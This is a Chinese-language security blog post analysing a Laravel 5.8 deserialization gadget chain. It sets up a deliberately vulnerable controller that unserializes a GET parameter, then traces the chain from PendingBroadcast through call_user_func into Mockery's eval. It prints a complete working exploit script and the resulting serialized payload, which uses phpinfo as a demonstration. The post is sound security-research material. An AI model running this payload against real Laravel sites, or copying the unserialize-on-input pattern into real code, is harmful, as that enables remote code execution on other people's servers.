原帖地址 : https://xz.aliyun.com/t/6059
Laravel 代码审计

环境搭建

composer create-project --prefer-dist laravel/laravel laravel58 安装 Laravel 5.8 并生成 laravel58 项目
进入项目文件夹，使用 php artisan serve 启动 web 服务

在 laravel58/routes/web.php 文件添加路由

Route::get("/","\App\Http\Controllers\DemoController@demo");

在 laravel58/app/Http/Controllers/ 下添加 DemoController.php 控制器

<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}

漏洞分析

ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61
从 Illuminate\Broadcasting\PendingBroadcast 类的 __destruct 方法开始的 pop 链

Illuminate\Broadcasting\PendingBroadcast 中，$events 必须实现 Dispatcher 接口，这里选择的是 Illuminate\Bus\Dispatcher

public function __construct(Dispatcher $events, $event)
{
    $this->event = $event;
    $this->events = $events;
}

public function __destruct()
{
    $this->events->dispatch($this->event);
}

Illuminate\Bus\Dispatcher 中，调用 dispatch 方法，进入 if 判断，$this->queueResolver 是在实例化 Illuminate\Bus\Dispatcher 时的一个参数，它必须有值，$command 也就是 $this->event 必须实现 ShouldQueue 接口，这里选择的就是 Illuminate\Broadcasting\BroadcastEvent

// $command : $this->event
public function dispatch($command)
{
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
    }

    return $this->dispatchNow($command);
}

public function __construct(Container $container, Closure $queueResolver = null)
{
    $this->container = $container;
    $this->queueResolver = $queueResolver;
    $this->pipeline = new Pipeline($container);
}

protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

到这里，构造出的 exp :

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($evilCode)
        {
            $this->events = new \Illuminate\Bus\Dispatcher();
            $this->event = new BroadcastEvent($evilCode);
        }
    }
}
?>

然后进入 dispatchToQueue 方法，存在 call_user_func 方法，其中的 $this->queueResolver 是可控的，这里利用的是 Mockery\Loader\EvalLoader 的 load 方法，即 $this->queueResolver 为 array(new Mockery\Loader\EvalLoader(), "load")

public function dispatchToQueue($command)
{
    $connection = $command->connection ?? null;

    $queue = call_user_func($this->queueResolver, $connection);

    if (! $queue instanceof Queue) {
        throw new RuntimeException('Queue resolver did not return a Queue implementation.');
    }

    if (method_exists($command, 'queue')) {
        return $command->queue($queue, $command);
    }

    return $this->pushCommandToQueue($queue, $command);
}

这个点的意思就是
1. $this->events 调用 dispatch 传入参数 $this->event 后
2. 访问 $this->events 的 queueResolver 属性
3. 调用 $this->events->commandShouldBeQueued($this->event) 方法
4. 调用 dispatchToQueue 传入 $this->event 参数。其中的 $connection 为 $this->event->connection ，即 Illuminate\Broadcasting\BroadcastEvent 中的 $connection 属性
5. call_user_func 将 $connection 作为参数传给 $this->queueResolver 返回的函数

到这里，构造出的 exp 如下，已经实现 call_user_func($this->queueResolver, $connection) 即 call_user_func($evilFunc, $evilCode) ，接下来就要寻找一个可以利用的函数，这里选择的是 Mockery\Loader\EvalLoader ，继续跟进

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($evilCode)
        {
            $this->events = new \Illuminate\Bus\Dispatcher();
            $this->event = new BroadcastEvent($evilCode);
        }
    }

  class BroadcastEvent {
        public $connection;
        function __construct($evilCode)
        {
            $this->connection = $evilCode;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = $evilFunc;
        }
    }
}

Mockery\Loader\EvalLoader 中有一个 eval 函数可以利用，这里的 $definition 是 MockDefinition 类的实例化对象，也就说明 $this->event->connection 是 MockDefinition 类的实例化对象。接下来就是绕过 if 判断。

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

跟进 Mockery\Generator\MockDefinition ，如果要绕过 if 判断，必须让 getClassName 返回一个不存在的类名，即 $this->config->getName() 返回一个不存在的类名。$config 为 Mockery\Generator\MockConfiguration 的实例化对象

class MockDefinition
{
    protected $config;
    protected $code;

    public function __construct(MockConfiguration $config, $code)
    {
        if (!$config->getName()) {
            throw new \InvalidArgumentException("MockConfiguration must contain a name");
        }
        $this->config = $config;
        $this->code = $code;
    }

    public function getConfig()
    {
        return $this->config;
    }

    public function getClassName()
    {
        return $this->config->getName();
    }

    public function getCode()
    {
        return $this->code;
    }
}

Mockery\Generator\MockConfiguration 中，让 getName() 返回一个不存在的类名，最终执行 eval("?>" . $definition->getCode()); 实现 RCE
```
class MockConfiguration
{
    protected $name;

    public function getName()
    {
        return $this->name;
    }
}
```

最终的 exp ，(ph 牛的 exp ) :

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($evilCode)
        {
            $this->events = new \Illuminate\Bus\Dispatcher();
            $this->event = new BroadcastEvent($evilCode);
        }
    }

  class BroadcastEvent {
        public $connection;
        function __construct($evilCode)
        {
            $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}
namespace Mockery\Generator {
    class MockDefinition {
        protected $config;
        protected $code;
        function __construct($evilCode)
        {
            $this->code = $evilCode;
            $this->config = new MockConfiguration();
        }
    }
    class MockConfiguration {
        protected $name = 'abcdefg';
    }
}

namespace {
  $code = "<?php phpinfo(); exit; ?>";
  $exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
  echo serialize($exp);
}
?>

构造输出结果 :

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}

一些思考

危险函数的寻找

eval，call_user_func
phpstorm + xdebug 调试代码
PHP 序列化的时候 private 和 protected 变量会引入不可见字符 \x00，\00Test\00y 为 private，\00*\00 为 protected，注意这两个 \x00 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到，甚至导致截断，url 编码后就可以看得很清楚了。此时，为了更加方便进行反序列化 payload 的传输与显示，我们可以在序列化内容中用大写 S 表示字符串，此时这个字符串就支持将后面的字符串用 16 进制表示。
```
<?php
class Test
{
  public $x="peri0d";
  private $y="peri0d";
  protected $z="peri0d";
}

$k = new Test();

echo serialize($k);

// O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}
?>
```

反序列化测试代码 :

<?php
// 环境 : php 7.1.13 nts
class Test
{
  public $x="peri0d";
  private $y="peri0d";
  protected $z="peri0d";
}

$n = new Test();
var_dump(serialize($n));
var_dump(unserialize(serialize($n))); // 成功

$k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';
var_dump(unserialize($k)); // 成功

$m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';
var_dump(unserialize($m)); // 失败

$l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
var_dump(unserialize($l)); // 失败
?>

参考链接

https://xz.aliyun.com/t/5911
https://xz.aliyun.com/t/5866

来源：https://www.cnblogs.com/peri0d/p/11508890.html

标签

php

call_user_func

Laravel 5.8 RCE 分析

环境搭建

漏洞分析

一些思考

参考链接